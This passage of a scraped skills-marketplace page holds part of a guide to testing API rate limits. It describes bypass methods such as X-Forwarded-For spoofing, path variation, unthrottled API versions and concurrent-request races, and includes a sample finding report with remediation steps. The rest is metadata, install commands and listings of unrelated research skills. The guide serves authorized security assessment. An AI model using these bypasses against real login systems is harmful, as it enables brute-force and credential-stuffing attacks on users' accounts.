Stuffing** | Automated injection of stolen username\u002Fpassword pairs against login endpoints, requiring rate limit bypass for large-scale attacks |\n| **Token Bucket** | Rate limiting algorithm that allows bursts of requests up to a bucket size, refilling at a constant rate |\n| **Sliding Window** | Rate limiting algorithm that tracks requests in a rolling time window, more resistant to burst attacks than fixed windows |\n\n## Tools & Systems\n\n- **Burp Suite Turbo Intruder**: High-performance request sender for rate limit testing using Python-based scripting engine\n- **ffuf**: Fast web fuzzer capable of testing rate limits with configurable request rates and header manipulation\n- **wfuzz**: Web fuzzer with support for header injection, parameter fuzzing, and rate limit evasion techniques\n- **Postman Collection Runner**: Automated collection execution with variable rotation for rate limit bypass testing\n- **Gatling\u002Fk6**: Load testing tools that simulate realistic traffic patterns to test rate limiting under production-like conditions\n\n## Common Scenarios\n\n### Scenario: Login API Rate Limit Bypass Assessment\n\n**Context**: A financial services API implements rate limiting on the login endpoint to prevent brute force attacks. The security team wants to verify the effectiveness of these controls before a compliance audit.\n\n**Approach**:\n1. Baseline: Send 100 requests to `POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin` - rate limited at request 10 per minute per IP\n2. Test X-Forwarded-For rotation: Send 100 requests with unique X-Forwarded-For values - rate limit bypassed (all requests return 401, not 429)\n3. Test path variation: `\u002Fapi\u002Fv1\u002Fauth\u002Flogin\u002F` (trailing slash) resets the rate limit counter\n4. Test API versioning: `\u002Fapi\u002Fv2\u002Fauth\u002Flogin` has no rate limiting configured (shadow API)\n5. Test parameter pollution: Adding `?_=\u003Crandom>` to each request bypasses the rate limit\n6. Test concurrent requests: 50 simultaneous requests from same IP - 45 succeed before rate limit kicks in (race condition in counter)\n7. Determine that rate limiting is implemented at the nginx reverse proxy level using IP-only tracking, trusting X-Forwarded-For header without validation\n\n**Pitfalls**:\n- Sending too many requests too fast and causing actual denial of service to the test environment\n- Not testing rate limits on password reset, MFA verification, and account enumeration endpoints\n- Assuming the rate limit applies globally when it may be per-endpoint or per-method only\n- Missing race conditions in rate limit counters that allow burst bypasses\n- Not testing both authenticated and unauthenticated rate limiting separately\n\n## Output Format\n\n```\n## Finding: Rate Limiting Bypass via X-Forwarded-For Header Spoofing\n\n**ID**: API-RATE-001\n**Severity**: High (CVSS 7.3)\n**OWASP API**: API4:2023 - Unrestricted Resource Consumption\n**Affected Endpoints**:\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fforgot-password\n  - POST \u002Fapi\u002Fv1\u002Fauth\u002Fverify-mfa\n\n**Description**:\nThe API rate limiting implementation relies on the X-Forwarded-For header\nto identify client IP addresses. Since the application sits behind a load\nbalancer that does not strip or validate this header, an attacker can set\narbitrary X-Forwarded-For values to bypass the 10 requests\u002Fminute rate limit\non authentication endpoints.\n\n**Bypass Methods Confirmed**:\n1. X-Forwarded-For rotation: 1000 login attempts in 60 seconds (vs 10 limit)\n2. Trailing slash path variation: \u002Fauth\u002Flogin\u002F treated as separate endpoint\n3. API v2 endpoint: No rate limiting configured\n4. Race condition: 50 concurrent requests, 45 succeed before counter updates\n\n**Impact**:\nAn attacker can perform unlimited brute force attacks against any user\naccount, bypassing the rate limit designed to prevent credential stuffing.\nAt 1000 attempts per minute, a 6-digit PIN can be brute-forced in under\n17 minutes.\n\n**Remediation**:\n1. Configure the load balancer to set X-Forwarded-For and strip client-provided values\n2. Implement rate limiting at the application layer using authenticated user ID, not just IP\n3. Normalize URL paths before applying rate limit rules (strip trailing slashes, enforce lowercase)\n4. Apply rate limits consistently across all API versions and content types\n5. Use atomic rate limit counters (Redis INCR) to prevent race conditions\n6. Implement progressive delays (exponential backoff) in addition to hard limits\n```\n",{"name":5,"tags":24,"author":31,"domain":32,"license":14,"version":33,"nist_csf":34,"subdomain":25,"description":39,"mitre_attack":40},[25,26,27,28,29,30],"api-security","owasp","rate-limiting","throttling","brute-force","dos-prevention","mahipal","cybersecurity","1.0.0",[35,36,37,38],"PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01","Tests API rate limiting for bypass vulnerabilities using Python (requests\u002Faiohttp) and Burp Suite Turbo Intruder to manipulate headers (e.g. X-Forwarded-For spoofing), IPs, HTTP methods, API versions, and encodings, mapping findings to OWASP API4:2023 Unrestricted Resource Consumption. Use when assessing, under written authorization, whether rate limits can be bypassed to enable brute force or resource-exhaustion attacks.\n",[41,42,43,44,45],"T1190","T1059.007","T1552.001","T1027","T1055","main","1eb986d0b0ecc180291597e08eb5a58288843536","skills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv","2026-08-25 13:16:33",{"source":8,"skillName":5,"commands":53,"prompt":63,"zipAvailable":64},[54,57,60],{"tool":55,"command":56},"npx","npx skills add vikasvardhanv\u002Fjerry_skills --skill performing-api-rate-limiting-bypass",{"tool":58,"command":59},"bunx","bunx skills add vikasvardhanv\u002Fjerry_skills --skill performing-api-rate-limiting-bypass",{"tool":61,"command":62},"pnpm","pnpm dlx skills add vikasvardhanv\u002Fjerry_skills --skill performing-api-rate-limiting-bypass","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002FSKILL.md",true,[66,70,76],{"path":67,"resourceType":67,"resourceTypeDesc":68,"sizeBytes":69,"sourceHtmlUrl":15},"LICENSE","许可证",11255,{"path":71,"resourceType":72,"resourceTypeDesc":73,"sizeBytes":74,"sourceHtmlUrl":75},"references\u002Fapi-reference.md","REFERENCE","参考文档",2210,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002Freferences\u002Fapi-reference.md",{"path":77,"resourceType":78,"resourceTypeDesc":79,"sizeBytes":80,"sourceHtmlUrl":81},"scripts\u002Fagent.py","SCRIPT","脚本",8983,"https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fcurated_premium_skills\u002FAnthropic-Cybersecurity-Skills\u002Fskills\u002Fperforming-api-rate-limiting-bypass\u002Fscripts\u002Fagent.py",[83,91,98,105,112,119],{"skillNo":84,"name":85,"nameZh":6,"description":86,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":19},"01M7BESR1CJ3H5SP9XM8KYJZ9W","syllabus","Generates a curated supplementary reading list from any course syllabus using Consensus academic search. Grill-me intake (syllabus input format + course audience + year range) plus a grouping forcing-options checkpoint before any search runs — so the reading list matches the course's level and recency need. Parses the syllabus to extract topics and learning outcomes, searches Consensus for recent peer-reviewed papers per topic, and produces a professionally formatted .docx with clickable Consensus links, plain-language summaries calibrated to audience level, and Bloom-higher-order discussion questions tied to course learning goals. Use when the user uploads a syllabus, course outline, or curriculum document and wants supplementary readings (e.g., 'create a reading list from this syllabus', 'find recent papers for my course') — even casual mentions with a syllabus attached should trigger this skill.","MIT","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fsyllabus\u002Fskills\u002Fsyllabus\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":19},"01M7BES1YA6R97W7QPMFFM1PED","pulse","Multi-source recency research skill that takes the pulse of any topic across Reddit, Hacker News, the open web, and optionally X\u002FTwitter within a configurable recent window (default 30 days). Forcing intake clarifies topic specificity, angle (trend\u002Fsentiment\u002Fproblems\u002Fopportunities\u002Fcomparison), time window, and platform scope before searching. Returns a synthesized briefing with citations, engagement metrics, and cross-platform pattern analysis. Use when the user requests multi-source recency intelligence on a topic (e.g., 'pulse on [topic]', 'what's happening with [topic]', 'what are people saying about [topic]', 'current conversation about [topic]', 'take the pulse of [topic]', 'trending: [topic]', 'find me info on [topic]'), and for competitor research, trend discovery, tool comparisons, and audience sentiment analysis.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpulse\u002Fskills\u002Fpulse\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":19},"01M7BERNHYGY035AR00VRT03KE","patent","Patent prior-art and landscape intelligence skill — not generic patent help. Commits to one of five sub-use-cases via forcing intake (novelty search \u002F freedom-to-operate \u002F competitive landscape \u002F acquisition diligence \u002F litigation prior-art) before any search runs. Searches Google Patents, Espacenet, USPTO, and optionally Lens.org for citation-graph signals. Output is an editable Word document (.docx) with verdict, ranked closest art (claim-text extracted), CPC-class-aware landscape, family-resolved hits, geographic coverage, FTO flags where applicable, strategy recommendations, and full audit log. Use when the user asks for patent searching or analysis (e.g., 'prior art search for [invention]', 'freedom to operate analysis for [product]'). Produces search signal, not legal advice — always recommends consulting a patent attorney before filing or licensing decisions. Trademark, copyright, and trade-secret questions are out of scope.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fpatent\u002Fskills\u002Fpatent\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":109,"categories":110,"keywords":111,"publishedAt":19},"01M7BERCK1EAKTWW7R436WAR0J","notebooklm","Browser automation skill for controlling Google's NotebookLM. Use when the user wants anything done in NotebookLM (e.g., 'open NotebookLM', 'check my [name] notebook', 'ask my notebook about X', 'add [source] to NotebookLM', 'generate a Video Overview from my notebook', 'use NotebookLM Studio'). Handles reading and querying notebooks, adding sources (URLs, text, files, YouTube links, synthesized content), generating Studio outputs (Audio\u002FVideo Overviews, Mind Maps, Reports incl. Briefing Doc\u002FStudy Guide\u002FFAQ, Flashcards, Quiz, slide decks, infographics — discover the exact set from the live Studio panel; the UI evolves fast), and creating new notebooks. Requires browser automation environment — fails gracefully when unavailable.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fnotebooklm\u002Fskills\u002Fnotebooklm\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":19},"01M7BEQZAZAQRTXFJRY7RHV3TY","litreview","Academic literature orientation skill that searches papers via free keyless APIs (PubMed E-utilities + OpenAlex) by default — with the Consensus MCP as an optional enhancement lane when connected — builds a strategic search plan using PICO (default) or SPIDER \u002F Decomposition \u002F hybrid as fallbacks, and synthesizes findings into a formatted Word (.docx) research guide. Grill-me intake (research question specificity + framework hint + tentative depth) before the recon search; a second forcing checkpoint after Phase 2 confirms framework + sub-areas + depth before searches consume budget. Configurable depth (5\u002F10\u002F20 queries) controls coverage vs. speed. Output is a 'launching pad' — an orientation guide that lets a researcher dive in confidently, not a finished review. Use when the user starts literature-oriented research (e.g., 'litreview on [topic]', 'literature review on [topic]', 'I'm starting a literature review on X', 'I'm writing a paper on X', 'help me research X', 'I'm doing research on X', 'can you help me research X'). Do NOT use for single one-off paper searches wanting a quick list — that's a plain PubMed\u002FOpenAlex (or Consensus) query.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Flitreview\u002Fskills\u002Flitreview\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":87,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":19},"01M7BEQKJ45K31QK5VRAQSVJCJ","grants","NIH grant research skill for clinical researchers. Grill-me intake (research idea + career stage + preliminary data + environment + submission posture + known institute targets) locks down the funding strategy before any search runs. Runs a 5-facet Consensus positioning analysis (with draft Significance\u002FInnovation language), maps the research to the right NIH institutes and study sections via RePORTER, finds NOSIs and funded overlap, and produces an editable Word document (.docx) with budget\u002Fscope-aware mechanism recommendations, submission timelines, and a mandatory program officer recommendation. Use when the user asks about research funding or makes any grant-related request (e.g., 'grants for [topic]', 'find grants for my research idea', 'what grants match my research', 'help me find NIH funding', 'grant opportunities for my research'). NIH-only scope — non-NIH funders (PCORI, DOD CDMRP, VA, foundations) are out of scope and flagged at intake.","https:\u002F\u002Fgithub.com\u002Fvikasvardhanv\u002Fjerry_skills\u002Fblob\u002Fmain\u002Fskills\u002Fresearch\u002Fgrants\u002Fskills\u002Fgrants\u002FSKILL.md",[],[]]